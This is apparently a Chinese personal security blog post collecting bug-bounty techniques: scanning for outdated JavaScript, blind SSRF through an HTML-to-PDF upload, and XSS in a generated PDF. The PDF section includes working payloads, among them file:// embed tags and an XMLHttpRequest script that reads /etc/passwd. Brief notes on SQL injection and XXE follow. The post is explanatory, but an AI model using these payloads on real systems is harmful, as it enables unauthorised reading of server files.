H0e4a0r1t的小屋

2019/5/9随记

字数统计: 1.1k阅读时长: 4 min
2019/05/07 Share

First:Vulnerable Javascript Files

  1. 今天几乎每个网站都以某种方式使用javascript。Jquery,anglular,react和vue是流行的javascript库和框架的一些例子。其中每个都包含漏洞,如果网站使用过时的版本,他们就有可能实施易受攻击的功能,从而使整个网站面临风险
  2. Retire JS是一个很棒的工具,可以扫描网站上过时的软件。使用此工具最简单的方法是下载chrome插件。下载插件后,它将扫描您在后台访问的每个站点,查找过时的javascript文件,其中许多文件包含已知的CVE。
  3. 重要的是要知道,仅仅因为网站导入易受攻击的javascript文件并不意味着您可以利用此漏洞。为了利用此漏洞,网站必须使用易受攻击的功能。可以在不使用易受攻击的功能的情况下导入易受攻击的库。但是,即使你不能利用已经过时软件的漏洞总是不好的做法。如果该网站正在实施易受攻击的功能,那么您就获得了胜利
  4. 自动化批量检测脚本:https://github.com/ghostlulzhacks/RetireJs

Second:P4 to P2 - The story of one blind SSRF

1.尝试XSS

发现转换为pdf格式的上传点可以上传html文件,发现上传带有payload的html文件并没有被解析

2.尝试读取本地文件

1
2
3
<object width="400" height="400" data="file://c:/windows/win.ini"></object>
<iframe src="file:///C:/Windows/win.ini" width="400" height="400">
<embed src="file://c:/windows/win.ini" width="400" height="400">

尝试通过img标签包含现有的本地图像。但是,Web服务器上存在100%的哪种图片?记住用户代理的类型,Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)这可能意味着它是Internet Explorer的标题。我发现默认情况下使用此浏览器存在于Web服务器上的图像 - C:\Program Files\Internet Explorer\images\bing.ico并尝试包含它(不要忘记使用’file://‘)。

最后,我有一个有效载荷:

1
<img src="file:///C:\Program Files\Internet Explorer\images\bing.ico">

Third:LOCAL FILE READ VIA XSS IN DYNAMICALLY GENERATED PDF

在动态生成的PDF中通过XSS读取本地文件

url:https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=xyz&date=2017-08-11&settlement_type=all&advice_id=undefined

其中,utrnumber的参数会反映在已下载的PDF文件中,我在utrnumber参数中写了一些HTML 作为“> aaa

即:https://xyz.com/payments/downloadStatements?Id=b9bc3d&**“> aaa**&date = 2017-08-11&settlement_type = all&advice_id = undefined

接着发现可以使用<img src=x onerror=document.write(‘aaaa’)>打印出aaa的值

https://xyz.com/payments/downloadStatements?Id=b9bc3d&**utrnumber**=**<img src=x onerror=document.write(‘aaaa’)>**&date=2017-08-11&settlement_type=all&advice_id=undefined

之后发现window.location的执行位置在服务器上的file:// origin上执行(个人理解为:文件在服务器端生成,所以location的源头应该在服务器上)

之后通过:https://xyz.com/payments/downloadStatements?Id=b9bc3d&**utrnumber**=**<img src=x onerror=document.write(‘aaaa’%2bwindow.location)>**&date=2017-08-11&settlement_type=all&advice_id=undefined

最后通过XMLHttpRequest的方式访问file:///etc/passwd

1
2
3
4
5
6
7
8
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

构造最终的POC:https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=****&date=2017-08-11&settlement_type=all&advice_id=undefined

服务器端的XSS生成PDF到本地文件读取

Fourth:Escalating XSS in PhantomJS Image Rendering to SSRF/Local-File Read

该计划接受用户输入并生成图像供您下载。经过一段时间后,我能够从图像内部的XSS一直升级到服务器上的任意本地文件读取

案例过程和上面的差不多,就不做分析了

Fiveth:新思路–APP端上传通讯录导致SQL注入

有些app软件是要求上传通讯录的,上传时可以通过抓包,观察参数得到注入

Sixth:文件上传XXE

将doc或pdf等各种文件格式,解压出来,查看内部文本,往document.xml中插入XXE恶意代码

参考:https://security.tencent.com/index.php/blog/msg/69

CATALOG
  1. 1. First:Vulnerable Javascript Files
  2. 2. Second:P4 to P2 - The story of one blind SSRF
    1. 2.1. 1.尝试XSS
    2. 2.2. 2.尝试读取本地文件
  3. 3. Third:LOCAL FILE READ VIA XSS IN DYNAMICALLY GENERATED PDF
    1. 3.1. 在动态生成的PDF中通过XSS读取本地文件
    2. 3.2. 服务器端的XSS生成PDF到本地文件读取
  4. 4. Fourth:Escalating XSS in PhantomJS Image Rendering to SSRF/Local-File Read
  5. 5. Fiveth:新思路–APP端上传通讯录导致SQL注入
  6. 6. Sixth:文件上传XXE